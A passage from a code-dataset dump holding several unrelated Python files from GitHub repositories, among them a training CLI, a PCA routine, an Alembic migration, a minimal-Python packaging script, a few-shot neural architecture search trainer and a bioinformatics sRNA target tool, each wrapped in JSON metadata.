new_state.__dict__.update(vals)\n return new_state\n\n\ndef run_config_action(app, view, context):\n \n config_keys = [ \n \"config_exception_file\",\n \"config_v14_command_file\",\n \"config_quick_push_file\",\n \"config_save_file\",\n \"config_pid_file\", \n \"config_policy_name\",\n ]\n # this next statement also performs validation at the field level\n invalid_values = {}\n view_values: Dict[str, str] = view.get_values()\n\n def check_value_for(k, a_validator):\n v = view_values[k]\n if len(v) == 0 or a_validator.validate(view_values[k]) is None:\n invalid_values[k] = view_values[k]\n\n def make_error_msg():\n err_msg = []\n for k in invalid_values.keys():\n msg = \"field {} has invalid value (not a valid file path) the value=[{}]\".format(k, invalid_values[k])\n err_msg.append(msg)\n return \": \".join(err_msg)\n\n\n check_value_for(\"config_exception_file\", validator.Path())\n check_value_for(\"config_v14_command_file\", validator.Path())\n check_value_for(\"config_quick_push_file\", validator.Path())\n check_value_for(\"config_save_file\", validator.Path())\n check_value_for(\"config_pid_file\", validator.Path())\n\n if len(invalid_values) > 0:\n app.msg_error(\"{}\".format(make_error_msg()))\n pass\n else:\n # process the data\n app.msg_info(\"Config save - success {}\".format(view_values))\n pass\n \n\n new_state = state_from_view_values(app.state, view_values)\n app.state = new_state\n\n","repo_name":"robertblackwell/aorc","sub_path":"aorc/config_actions.py","file_name":"config_actions.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"70492749070","text":"import argparse\nimport os\nimport sys\nfrom os.path import dirname\n\nfrom omegaconf import DictConfig, ListConfig\n\nimport torch\n\nimport efg\nfrom efg.config import Configuration\nfrom efg.data import build_dataloader, build_dataset, seed_all_rng\nfrom efg.engine import build_trainer\nfrom efg.engine.launch import launch, slurm_launch\nfrom efg.evaluator import build_evaluators\nfrom efg.utils import distributed as comm\nfrom efg.utils.collect_env import collect_env_info\nfrom efg.utils.file_io import PathManager\nfrom efg.utils.logger import setup_logger\n\n\ndef format_dict_config(dc, indent=0):\n GREEN = '\\033[92m' # ANSI escape sequence for green\n YELLOW = '\\033[93m' # ANSI escape sequence for yellow\n END = '\\033[0m' # ANSI escape sequence to reset color\n\n formatted_str = \"\"\n if isinstance(dc, DictConfig):\n for key, value in dc.items():\n indent_str = '' if indent == 0 else (\" \" * (4 * (indent - 1)) + \"|-- \")\n formatted_str += indent_str + GREEN + str(key) + END + \": \"\n if isinstance(value, ListConfig):\n is_complex_list = any(isinstance(item, DictConfig) for item in value)\n if is_complex_list:\n formatted_str += \"\\n\"\n for item in value:\n if isinstance(item, DictConfig):\n formatted_str += format_dict_config(item, indent + 1)\n else:\n list_indent_str = \" \" * (4 * indent) + \"|-- \"\n formatted_str += list_indent_str + YELLOW + str(item) + END + \"\\n\"\n else:\n formatted_str += YELLOW + \"[\" + \", \".join(map(str, value)) + \"]\" + END + \"\\n\"\n elif isinstance(value, list):\n formatted_str += YELLOW + \"[\" + \", \".join(map(str, value)) + \"]\" + END + \"\\n\"\n elif isinstance(value, DictConfig):\n formatted_str += \"\\n\" + format_dict_config(value, indent + 1)\n else:\n formatted_str += YELLOW + str(value) + END + \"\\n\"\n else:\n formatted_str += YELLOW + str(dc) + END + \"\\n\"\n return formatted_str\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(\"EFG default argument parser\")\n parser.add_argument(\"--config\", type=str, default=\"config.yaml\", help=\"Path to the config file.\")\n\n parser.add_argument(\"--launcher\", type=str, default=\"pytorch\") # option slurm\n parser.add_argument(\"--num-gpus\", type=int, default=1, help=\"number of gpus *per machine*\")\n parser.add_argument(\"--num-machines\", type=int, default=1)\n parser.add_argument(\"--machine-rank\", type=int, default=0, help=\"the rank of this machine (unique per machine)\")\n parser.add_argument(\"--master-port\", type=int, default=12345)\n parser.add_argument(\"--dist-url\", default=\"auto\")\n\n parser.add_argument(\"--resume\", action=\"store_true\", help=\"whether to attempt to resume from the checkpoint\")\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"debug mode\")\n\n parser.add_argument(\"opts\", default=None, nargs=argparse.REMAINDER, help=\"Modify config options from command line\")\n\n return parser\n\n\ndef link_log(output_dir, link_name=\"log\"):\n \"\"\"\n Thus function assumes that the user are currently at the experiments' directories.\n\n Create a softlink to output dir.\n Args:\n link_name(str): name of softlink\n \"\"\"\n if os.path.islink(link_name) and os.readlink(link_name) != output_dir:\n os.system(\"rm \" + link_name)\n if not os.path.exists(link_name):\n cmd = \"ln -s {} {}\".format(output_dir, link_name)\n os.system(cmd)\n\n\ndef worker(args):\n configuration = Configuration(args)\n config = configuration.get_config()\n\n # setup global logger\n output_dir = os.path.join(config.trainer.output_dir, \"EFG\", os.getcwd().split(\"playground\")[1][1:])\n if comm.is_main_process() and output_dir:\n PathManager.mkdirs(output_dir)\n link_log(output_dir)\n config.trainer.output_dir = output_dir\n\n logger = setup_logger(output_dir, distributed_rank=comm.get_rank())\n\n logger.info(f\"Command Line Args:\\n{args}\")\n logger.info(f\"Environment info:\\n{collect_env_info()}\")\n\n # if we manually set the random seed\n if config.misc.seed >= 0:\n manual_set_generator = True\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n else:\n manual_set_generator = False\n\n torch.backends.cudnn.benchmark = config.misc.cudnn_benchmark\n\n seed = seed_all_rng(None if config.misc.seed < 0 else config.misc.seed)\n config.misc.seed = seed\n\n logger.info(f\"Running with full config:\\n\\n{format_dict_config(config)}\")\n\n from net import build_model # net.py in experiment directories\n trainer = build_trainer(config, build_model)\n\n if config.task == \"train\":\n if args.resume:\n trainer.resume_or_load(args.resume)\n trainer.train()\n # Perform evaluation at the end of training\n config.task = \"val\"\n eval_dataset = build_dataset(config)\n eval_dataloader = build_dataloader(config, eval_dataset, msg=manual_set_generator)\n evaluators = build_evaluators(config, eval_dataset)\n trainer.evaluate(evaluators, eval_dataloader, test=False)\n elif config.task == \"val\" or config.task == \"test\":\n trainer.resume_or_load()\n evaluators = build_evaluators(config, trainer.dataset)\n trainer.evaluate(evaluators, test=config.task == \"test\")\n else:\n raise NotImplementedError\n\n\ndef main():\n os.environ[\"OMP_NUM_THREADS\"] = \"1\"\n os.environ[\"EFG_PATH\"] = dirname(dirname(efg.__file__))\n sys.path.insert(0, \"./\")\n\n parser = get_parser()\n args = parser.parse_args()\n\n if args.launcher == \"pytorch\":\n launcher = launch\n elif args.launcher == \"slurm\":\n launcher = slurm_launch\n\n launcher(\n worker,\n args.num_gpus,\n num_machines=args.num_machines,\n machine_rank=args.machine_rank,\n dist_url=args.dist_url,\n port=args.master_port,\n args=(args,),\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"V2AI/EFG","sub_path":"cli/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6143,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"82"} +{"seq_id":"24785968936","text":"#!/usr/bin/python3\n#coding:utf-8\nimport numpy as np\n\n# 数据预处理: 0均值. 1方差----数据保持相同刻度;\n# 计算数据集的协方差矩阵,计算协方差矩阵的特征值,特征向量; \n# 取topN个特征值对应的特征向量作为降维后的向量坐标基; \n# 将数据映射到低维坐标系上.\ndef pca(dataMat, topN=999999):\n # 0 均值; 一行代表一条数据\n meanVals = np.mean(dataMat, axis=0)\n dataMat -= meanVals\n # 1 方差\n varVals = np.std(dataMat, axis=1)\n dataMat /= varVals\n # 计算协方差矩阵\n covMat = np.cov(dataMat)\n # 计算协方差矩阵的特征值, 特征向量: 返回的特征向量矩阵中特征向量按照列排列\n eigVals, eigVectors = np.linalg.eig(np.mat(covMat))\n # 对特征值排序\n eigValsIdx = np.argsort(eigVals)# 升序排序\n # 对特征值筛选出topN个特征指,从而确定降维后的坐标基\n eigValsIdx = eigValsIdx[:-(topN + 1):-1]#从后往前选\n redEigVectors = eigVectors[:, eigValsIdx]\n lowDimsMat = dataMat * redEigVectors\n reconMat = varVals * (lowDimsMat * redEigVectors.T) + meanVals\n return lowDimsMat, reconMat\n\nif __name__ == '__main__':\n dataMat = np.random.random(size=1000000)*100\n dataMat = dataMat.reshape(1000, 1000)\n lowDDataMat, reconMat = pca(dataMat, 1)\n print(lowDDataMat.shape)\n print(np.sum(np.power(dataMat-reconMat, 2))/np.shape(dataMat)[0])","repo_name":"fja0kl/Machine-Learning-in-Action","sub_path":"PCA/pca3.py","file_name":"pca3.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"18053999147","text":"\"\"\"Make column name on table team unique\n\nRevision ID: 263f849107af\nRevises: 3be85e2bf42e\nCreate Date: 2013-10-16 09:51:01.754634\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '263f849107af'\ndown_revision = '3be85e2bf42e'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n\ndef upgrade():\n conn = op.get_bind()\n query_str = ('SELECT t1.id FROM team AS t1 WHERE EXISTS (SELECT t2.id '\n 'FROM team AS t2 WHERE t2.id != t1.id AND t2.name = t1.name)')\n duplicate_teams_query = conn.execute(query_str)\n duplicate_teams = [id_ for id_, in duplicate_teams_query.fetchall()]\n if duplicate_teams:\n raise ValueError(\"The following team IDs have the same name : %s. \"\n \"Please manually adjust the duplicate teams by \"\n \"removing/renaming them, then run this again.\"\n % duplicate_teams)\n op.create_unique_constraint(\"uq_team_name\", 'team', ['name'])\n\n\ndef downgrade():\n op.drop_constraint(\"uq_team_name\", \"team\", \"unique\")\n","repo_name":"Javex/fluxscoreboard","sub_path":"alembic/versions/263f849107af_make_column_name_on_.py","file_name":"263f849107af_make_column_name_on_.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"31536682559","text":"#!python\r\n#\r\n# This file is part of https://github.com/zsquareplusc/python-embedded-launcher\r\n# (C) 2016 Chris Liechti \r\n#\r\n# SPDX-License-Identifier: BSD-3-Clause\r\n\"\"\"\\\r\nCreate a python-minimal distribution.\r\n\r\nStart this tool with Python 2.7. It requires that it is installed to copy the\r\nfiles from there.\r\n\r\nYou do not need this for Python 3.5, just download the embedded\r\ndistribution from the official site instead!\r\n\"\"\"\r\n# pylint: disable=line-too-long\r\n\r\nimport argparse\r\nimport os\r\nimport shutil\r\nimport sys\r\nimport zipfile\r\n\r\n\r\ndef copy_python(destination):\r\n \"\"\"\\\r\n Make a copy of Python 2.7. Including standard library (as zip) excluding\r\n tcl/tk, tests and site-packages. The Python files in the standard library\r\n are compiled.\r\n \"\"\"\r\n if sys.version_info.major != 2 or sys.version_info.minor != 7:\r\n raise ValueError('this tool must be run with Python 2.7 itself!')\r\n\r\n python_source = os.path.dirname(sys.executable)\r\n if not os.path.exists(destination):\r\n os.makedirs(destination)\r\n\r\n for name in ('python.exe', 'pythonw.exe', 'README.txt',\r\n 'NEWS.txt', 'LICENSE.txt'):\r\n shutil.copy2(os.path.join(python_source, name),\r\n os.path.join(destination, name))\r\n try:\r\n # w9xpopen.exe only exists on python27 32bit\r\n name = 'w9xpopen.exe'\r\n shutil.copy2(os.path.join(python_source, name),\r\n os.path.join(destination, name))\r\n except IOError:\r\n pass\r\n\r\n dll_excludes = ('tcl85.dll', 'tclpip85.dll', 'tk85.dll', '_tkinter.pyd')\r\n for name in os.listdir(os.path.join(python_source, 'DLLs')):\r\n if name not in dll_excludes:\r\n shutil.copy2(os.path.join(python_source, 'DLLs', name),\r\n os.path.join(destination, name))\r\n\r\n # for some reason, this file is somewhere else...\r\n shutil.copy2(os.path.expandvars('%WINDIR%\\\\System32\\\\python27.dll'),\r\n os.path.join(destination, 'python27.dll'))\r\n\r\n # zip the standard libarary (no site-packages and no tcl/tk)\r\n exclude_dirs = ('lib-tk', 'site-packages', 'test', 'tests')\r\n with zipfile.PyZipFile(os.path.join(destination, 'python27.zip'), 'w',\r\n compression=zipfile.ZIP_DEFLATED) as archive:\r\n zip_root = os.path.join(python_source, 'Lib')\r\n for root, dirs, files in os.walk(zip_root):\r\n for directory in exclude_dirs:\r\n if directory in dirs:\r\n dirs.remove(directory)\r\n for name in files:\r\n filename = os.path.join(root, name)\r\n base, ext = os.path.splitext(name)\r\n if ext == '.py':\r\n try:\r\n archive.writepy(\r\n filename,\r\n os.path.dirname(filename[len(os.path.commonprefix([zip_root, filename])):]))\r\n except:\r\n archive.write(\r\n filename,\r\n filename[len(os.path.commonprefix([zip_root, filename])):])\r\n elif ext in ('.pyc', '.pyo'):\r\n pass\r\n else:\r\n archive.write(\r\n filename,\r\n filename[len(os.path.commonprefix([zip_root, filename])):])\r\n\r\n\r\ndef main():\r\n \"\"\"Console application entry point\"\"\"\r\n parser = argparse.ArgumentParser(description='extract a copy of python27-minimal')\r\n\r\n group_out = parser.add_argument_group('output options')\r\n group_out.add_argument(\r\n '-d', '--directory', metavar='DIR', default='.',\r\n help='set a destination directory, a subdirectory NAME (see --name) will be created [default: %(default)s]')\r\n group_out.add_argument(\r\n '-n', '--name', metavar='NAME', default='python27-minimal',\r\n help='Set a directory name [default: %(default)s]')\r\n\r\n args = parser.parse_args()\r\n\r\n python_destination = os.path.join(args.directory, args.name)\r\n if os.path.exists(python_destination):\r\n sys.stderr.write('\"{}\" already exists, skipping extraction'.format(python_destination))\r\n else:\r\n copy_python(python_destination)\r\n\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"zsquareplusc/python-embedded-launcher","sub_path":"launcher_tool/create_python27_minimal.py","file_name":"create_python27_minimal.py","file_ext":"py","file_size_in_byte":4369,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"82"} +{"seq_id":"22021135827","text":"import numpy as np\r\nimport scipy.stats\r\nimport argparse\r\nimport os\r\nimport logging\r\nimport glob\r\nimport sys\r\nimport time\r\nimport random\r\n\r\n\r\nfrom MiniImagenet_task import MiniImagenet\r\nfrom meta_nas_train import Meta_decoding\r\nfrom learner import Network\r\nfrom utils.utils import infinite_get\r\nimport utils.utils as utils\r\nfrom utils.saver import Saver\r\nfrom utils.summaries import TensorboardSummary\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.backends.cudnn as cudnn\r\nfrom torch.utils.data import DataLoader\r\nfrom ptflops import get_model_complexity_info\r\n\r\nimport pdb\r\n\r\nparser = argparse.ArgumentParser(\"mini-imagenet\")\r\nparser.add_argument('--dataset', type=str, default='mini-imagenet', help='dataset')\r\nparser.add_argument('--checkname', type=str, default='meta-nas-train', help='checkname')\r\nparser.add_argument('--run', type=str, default='run_meta_nas', help='run_path')\r\nparser.add_argument('--data_path', type=str, default='/data2/dongzelian/datasets/mini-imagenet/', help='path to data')\r\nparser.add_argument('--pretrained_model', type=str, default='/data2/dongzelian/NAS/meta_nas/run_meta_nas/mini-imagenet/meta-nas/experiment_21/model_best.pth.tar', help='path to pretrained model')\r\nparser.add_argument('--seed', type=int, default=222, help='random seed')\r\nparser.add_argument('--gpu', type=int, default=0, help='gpu device id')\r\nparser.add_argument('--epoch', type=int, help='epoch number', default=10)\r\nparser.add_argument('--init_channels', type=int, default=16, help='num of init channels')\r\nparser.add_argument('--layers', type=int, default=8, help='total number of layers')\r\nparser.add_argument('--num_workers', type=int, default=8, help='number of workers')\r\nparser.add_argument('--n_way', type=int, help='n way', default=5)\r\nparser.add_argument('--k_spt', type=int, help='k shot for support set', default=1)\r\nparser.add_argument('--k_qry', type=int, help='k shot for query set', default=15)\r\nparser.add_argument('--task_id', type=int, help='task id', default=0)\r\nparser.add_argument('--batch_size', type=int, default=10000, help='batch size')\r\nparser.add_argument('--test_batch_size', type=int, default=100, help='test batch size')\r\nparser.add_argument('--meta_batch_size', type=int, help='meta batch size, namely task num', default=4)\r\nparser.add_argument('--meta_test_batch_size', type=int, help='meta test batch size', default=1)\r\nparser.add_argument('--report_freq', type=float, default=30, help='report frequency')\r\nparser.add_argument('--test_freq', type=float, default=500, help='test frequency')\r\nparser.add_argument('--img_size', type=int, help='img_size', default=84)\r\nparser.add_argument('--imgc', type=int, help='imgc', default=3)\r\nparser.add_argument('--meta_lr_theta', type=float, help='meta-level outer learning rate (theta)', default=3e-5)\r\nparser.add_argument('--update_lr_theta', type=float, help='task-level inner update learning rate (theta)', default=3e-4)\r\nparser.add_argument('--meta_lr_w', type=float, help='meta-level outer learning rate (w)', default=1e-3)\r\nparser.add_argument('--update_lr_w', type=float, help='task-level inner update learning rate (w)', default=0.01)\r\nparser.add_argument('--update_step', type=int, help='task-level inner update steps', default=5)\r\nparser.add_argument('--update_step_test', type=int, help='update steps for finetunning', default=10)\r\nparser.add_argument('--momentum', type=float, default=0.9, help='momentum')\r\nparser.add_argument('--weight_decay', type=float, default=3e-4, help='weight decay')\r\nparser.add_argument('--drop_path_prob', type=float, default=0, help='drop path probability')\r\nparser.add_argument('--arch', type=str, default='AUTO_MAML_1', help='which architecture to use')\r\nparser.add_argument('--arch_weight_decay', type=float, default=1e-3, help='weight decay for arch encoding')\r\n\r\nargs = parser.parse_args()\r\n\r\n\r\ndef mean_confidence_interval(accs, confidence=0.95):\r\n n = accs.shape[0]\r\n m, se = np.mean(accs), scipy.stats.sem(accs)\r\n h = se * scipy.stats.t._ppf((1 + confidence) / 2, n - 1)\r\n return m, h\r\n\r\n\r\ndef main():\r\n # torch.manual_seed(args.seed)\r\n # torch.cuda.manual_seed_all(args.seed)\r\n # np.random.seed(args.seed)\r\n\r\n saver = Saver(args)\r\n # set log\r\n log_format = '%(asctime)s %(message)s'\r\n logging.basicConfig(level=logging.INFO, format=log_format, datefmt='%m/%d %I:%M:%S %p',\r\n filename=os.path.join(saver.experiment_dir, 'log.txt'), filemode='w')\r\n console = logging.StreamHandler()\r\n console.setLevel(logging.INFO)\r\n logging.getLogger().addHandler(console)\r\n\r\n if not torch.cuda.is_available():\r\n logging.info('no gpu device available')\r\n sys.exit(1)\r\n\r\n np.random.seed(args.seed)\r\n random.seed(args.seed)\r\n torch.cuda.set_device(args.gpu)\r\n cudnn.benchmark = True\r\n torch.manual_seed(args.seed)\r\n cudnn.enabled=True\r\n torch.cuda.manual_seed(args.seed)\r\n\r\n\r\n saver.create_exp_dir(scripts_to_save=glob.glob('*.py') + glob.glob('*.sh') + glob.glob('*.yml'))\r\n saver.save_experiment_config()\r\n summary = TensorboardSummary(saver.experiment_dir)\r\n writer = summary.create_summary()\r\n best_pred = 0\r\n\r\n logging.info(args)\r\n\r\n device = torch.device('cuda')\r\n criterion = nn.CrossEntropyLoss()\r\n criterion = criterion.to(device)\r\n #\r\n # ''' Compute FLOPs and Params '''\r\n # maml = Meta(args, criterion)\r\n # flops, params = get_model_complexity_info(maml.model, (84, 84), as_strings=False, print_per_layer_stat=True)\r\n # logging.info('FLOPs: {} MMac Params: {}'.format(flops / 10 ** 6, params))\r\n #\r\n # maml = Meta(args, criterion).to(device)\r\n # tmp = filter(lambda x: x.requires_grad, maml.parameters())\r\n # num = sum(map(lambda x: np.prod(x.shape), tmp))\r\n # #logging.info(maml)\r\n # logging.info('Total trainable tensors: {}'.format(num))\r\n\r\n # batch_size here means total episode number\r\n mini = MiniImagenet(args.data_path, mode='train', n_way=args.n_way, k_shot=args.k_spt,\r\n k_query=args.k_qry,\r\n batch_size=args.batch_size, resize=args.img_size, task_id=None)\r\n mini_test = MiniImagenet(args.data_path, mode='test', n_way=args.n_way, k_shot=args.k_spt,\r\n k_query=args.k_qry,\r\n batch_size=args.test_batch_size, resize=args.img_size, task_id=args.task_id)\r\n train_loader = DataLoader(mini, args.meta_batch_size, shuffle=True, num_workers=args.num_workers, pin_memory=True)\r\n test_loader = DataLoader(mini_test, args.meta_test_batch_size, shuffle=True, num_workers=args.num_workers, pin_memory=True)\r\n\r\n ''' Decoding '''\r\n model = Network(args, args.init_channels, args.n_way, args.layers, criterion, pretrained=True).cuda()\r\n inner_optimizer_theta = torch.optim.SGD(model.arch_parameters(), lr=args.update_lr_theta)\r\n #inner_optimizer_theta = torch.optim.SGD(model.arch_parameters(), lr=100)\r\n inner_optimizer_w = torch.optim.SGD(model.parameters(), lr=args.update_lr_w)\r\n\r\n # load state dict\r\n pretrained_path = '/data2/dongzelian/NAS/meta_nas/run_meta_nas/mini-imagenet/meta-nas/experiment_21/model_best.pth.tar'\r\n pretrain_dict = torch.load(pretrained_path)['state_dict_w']\r\n model_dict = {}\r\n state_dict = model.state_dict()\r\n for k, v in pretrain_dict.items():\r\n if k[6:] in state_dict:\r\n model_dict[k[6:]] = v\r\n else:\r\n print(k)\r\n state_dict.update(model_dict)\r\n model.load_state_dict(state_dict)\r\n #model._arch_parameters = torch.load(pretrained_path)['state_dict_theta']\r\n\r\n\r\n for step, (x_spt, y_spt, x_qry, y_qry) in enumerate(test_loader):\r\n x_spt, y_spt, x_qry, y_qry = x_spt.squeeze(0).to(device), y_spt.squeeze(0).to(device), \\\r\n x_qry.squeeze(0).to(device), y_qry.squeeze(0).to(device)\r\n for k in range(args.update_step_test):\r\n logits = model(x_spt, alphas=model.arch_parameters())\r\n loss = criterion(logits, y_spt)\r\n\r\n inner_optimizer_w.zero_grad()\r\n inner_optimizer_theta.zero_grad()\r\n loss.backward()\r\n inner_optimizer_w.step()\r\n inner_optimizer_theta.step()\r\n\r\n\r\n genotype = model.genotype()\r\n logging.info(genotype)\r\n maml = Meta_decoding(args, criterion, genotype).to(device)\r\n #exit()\r\n #print(step)\r\n #print(genotype)\r\n\r\n\r\n\r\n for epoch in range(args.epoch):\r\n logging.info('--------- Epoch: {} ----------'.format(epoch))\r\n accs_all_train = []\r\n # # TODO: how to choose batch data to update theta?\r\n # valid_iterator = iter(train_loader)\r\n batch_time = utils.AverageMeter()\r\n data_time = utils.AverageMeter()\r\n update_w_time = utils.AverageMeter()\r\n end = time.time()\r\n for step, (x_spt, y_spt, x_qry, y_qry) in enumerate(train_loader):\r\n data_time.update(time.time() - end)\r\n x_spt, y_spt, x_qry, y_qry = x_spt.to(device), y_spt.to(device), x_qry.to(device), y_qry.to(device)\r\n # (x_search_spt, y_search_spt, x_search_qry, y_search_qry), valid_iterator = infinite_get(valid_iterator, train_loader)\r\n # x_search_spt, y_search_spt, x_search_qry, y_search_qry = x_search_spt.to(device), y_search_spt.to(device), x_search_qry.to(device), y_search_qry.to(device)\r\n accs, update_w_time = maml(x_spt, y_spt, x_qry, y_qry, update_w_time)\r\n accs_all_train.append(accs)\r\n batch_time.update(time.time() - end)\r\n end = time.time()\r\n writer.add_scalar('train/acc_iter', accs[-1], step + len(train_loader) * epoch)\r\n if step % args.report_freq == 0:\r\n logging.info('Epoch: [{0}][{1}/{2}]\\t'\r\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\r\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\r\n 'W {update_w_time.val:.3f} ({update_w_time.avg:.3f})\\t'\r\n 'training acc: {accs}'.format(\r\n epoch, step, len(train_loader),\r\n batch_time=batch_time, data_time=data_time,\r\n update_w_time=update_w_time, accs=accs))\r\n\r\n if step % args.test_freq == 0:\r\n test_accs, test_stds, test_ci95 = meta_test(train_loader, test_loader, maml, device, epoch, writer)\r\n logging.info('[Epoch: {}]\\t Test acc: {}\\t Test ci95: {}'.format(epoch, test_accs, test_ci95))\r\n\r\n # Save the best meta model.\r\n new_pred = test_accs[-1]\r\n if new_pred > best_pred:\r\n is_best = True\r\n best_pred = new_pred\r\n else:\r\n is_best = False\r\n saver.save_checkpoint({\r\n 'epoch': epoch + 1,\r\n 'state_dict': maml.module.state_dict() if isinstance(maml, nn.DataParallel) else maml.state_dict(),\r\n 'best_pred': best_pred,\r\n }, is_best)\r\n\r\n # accs = np.array(accs_all_train).mean(axis=0).astype(np.float16)\r\n #\r\n # return accs\r\n\r\n\r\ndef meta_test(train_loader, test_loader, maml, device, epoch, writer):\r\n accs_all_test = []\r\n batch_time = utils.AverageMeter()\r\n data_time = utils.AverageMeter()\r\n update_w_time = utils.AverageMeter()\r\n end = time.time()\r\n for step, (x_spt, y_spt, x_qry, y_qry) in enumerate(test_loader):\r\n data_time.update(time.time() - end)\r\n x_spt, y_spt, x_qry, y_qry = x_spt.squeeze(0).to(device), y_spt.squeeze(0).to(device), \\\r\n x_qry.squeeze(0).to(device), y_qry.squeeze(0).to(device)\r\n\r\n # len(x_spt.shape)=0, args.meta_test_batch_size=1\r\n accs, update_w_time = maml.finetunning(x_spt, y_spt, x_qry, y_qry, update_w_time)\r\n accs_all_test.append(accs)\r\n batch_time.update(time.time() - end)\r\n end = time.time()\r\n\r\n if step % args.report_freq == 0:\r\n logging.info('Epoch: [{0}][{1}/{2}]\\t'\r\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\r\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\r\n 'W {update_w_time.val:.3f} ({update_w_time.avg:.3f})\\t'\r\n 'test acc: {accs}'.format(\r\n epoch, step, len(test_loader),\r\n batch_time=batch_time, data_time=data_time,\r\n update_w_time=update_w_time,accs=accs))\r\n\r\n # [b, update_step+1]\r\n accs = np.array(accs_all_test).mean(axis=0).astype(np.float16) # accs.shape=11\r\n stds = np.array(accs_all_test).std(axis=0).astype(np.float16)\r\n ci95 = 1.96 * stds / np.sqrt(np.array(accs_all_test).shape[0])\r\n\r\n\r\n #writer.add_scalar('val/acc', accs[-1], step // 500 + (len(train_loader) // 500 + 1) * epoch)\r\n #writer.add_scalar('val/acc', accs[-1], epoch)\r\n\r\n\r\n return accs, stds, ci95\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"dongzelian/T-NAS","sub_path":"train_tnas_miniimagenet.py","file_name":"train_tnas_miniimagenet.py","file_ext":"py","file_size_in_byte":13083,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"82"} +{"seq_id":"40153080822","text":"from homepage2vec.model import WebsiteClassifier, Webpage\nimport logging\nimport sys\n\nlogging.basicConfig(level=logging.DEBUG)\nlogging.debug(\"Python {}\".format(sys.version_info))\n\nmodel = WebsiteClassifier()\nwebsite = Webpage(\"https://example.com\")\nwebsite.html = \"Example\"\nscores, embeddings = model.predict(website)\n\nlogging.debug(\"scores {} embeddings {}\".format(scores, embeddings))\n","repo_name":"bgrins/webpage-classifier-server","sub_path":"base/model_warmup.py","file_name":"model_warmup.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40599886965","text":"# coding=utf-8\nimport os\nimport glob\nfrom biocluster.agent import Agent\nfrom biocluster.tool import Tool\nfrom biocluster.core.exceptions import OptionError\nimport os\nimport unittest\n__author__ = 'fengyitong'\n\n\nclass SrnaTargetAgent(Agent):\n \"\"\"\n fasta files remove duplication\n \"\"\"\n def __init__(self, parent):\n super(SrnaTargetAgent, self).__init__(parent)\n options = [\n {'name': 'predict_fa', 'type': 'string', 'default': ''},\n {'name': 'genome_bed', 'type': 'string', 'default': ''},\n {'name': 'genome_fa', 'type': 'string', 'default': ''},\n ]\n self.add_option(options)\n self._memory_increase_step = 50\n\n def check_options(self):\n pass\n\n def set_resource(self):\n self._cpu = 10\n self._memory = \"{}G\".format('80')\n\n def end(self):\n result_dir = self.add_upload_dir(self.output_dir)\n result_dir.add_relpath_rules([\n [\".xls\", \"\", \"\"]\n ])\n \"\"\"\n # more detail\n result_dir.add_regexp_rules([\n [r\"*.xls\", \"xls\", \"xxx\"],\n [r\"*.list\", \"\", \"xxx\"],\n ])\n \"\"\"\n super(SrnaTargetAgent, self).end()\n\nclass SrnaTargetTool(Tool):\n \"\"\"\n fasta files remove duplication\n \"\"\"\n def __init__(self, config):\n super(SrnaTargetTool, self).__init__(config)\n self.python_path = '/miniconda2/bin/python'\n self.srna_annot = self.config.PACKAGE_DIR + \"/prok_rna/sRNA_target.py\"\n\n def SrnaTarget(self):\n cmd = '{} {} '.format(self.python_path, self.srna_annot)\n cmd += '{} {} {}'.format(self.option(\"predict_fa\"), self.option(\"genome_bed\"), self.option(\"genome_fa\"))\n cmd_name = 'srna_target'\n command = self.add_command(cmd_name, cmd)\n command.run()\n self.wait()\n if command.return_code == 0:\n self.logger.info(\"{} Finished successfully\".format(cmd_name))\n elif command.return_code is None:\n self.logger.warn(\"{} Failed and returned None, we will try it again.\".format(cmd_name))\n command.rerun()\n self.wait()\n if command.return_code is 0:\n self.logger.info(\"{} Finished successfully\".format(cmd_name))\n else:\n self.set_error(\"%s Failed. >>> %s\", variables = (cmd_name, cmd), code = \"35004301\")\n else:\n self.set_error(\"%s Failed. >>> %s\", variables = (cmd_name, cmd), code = \"35004302\")\n\n def set_output(self):\n all_files = os.listdir(self.work_dir)\n all_files = [self.work_dir + '/' + each for each in all_files ]\n for each in all_files:\n if each.endswith('merge') or os.path.basename(each).startswith('combine'):\n fname = os.path.basename(each)\n link = os.path.join(self.output_dir, fname)\n if os.path.exists(link):\n os.remove(link)\n os.link(each, link)\n\n def run(self):\n super(SrnaTargetTool, self).run()\n self.SrnaTarget()\n self.set_output()\n self.end()\n\nclass TestFunction(unittest.TestCase):\n \"\"\"\n This is test for the tool. Just run this script to do test.\n \"\"\"\n def test(self):\n from mbio.workflows.single import SingleWorkflow\n from biocluster.wsheet import Sheet\n import datetime\n test_dir='/mnt/ilustre/users/sanger-dev/sg-users/fengyitong/prok_rna/target_test'\n data = {\n \"id\": \"SrnaTarget_\" + datetime.datetime.now().strftime('%H-%M-%S'),\n \"type\": \"tool\",\n \"name\": \"prok_rna.sRNA_target\",\n \"instant\": False,\n \"options\": dict(\n 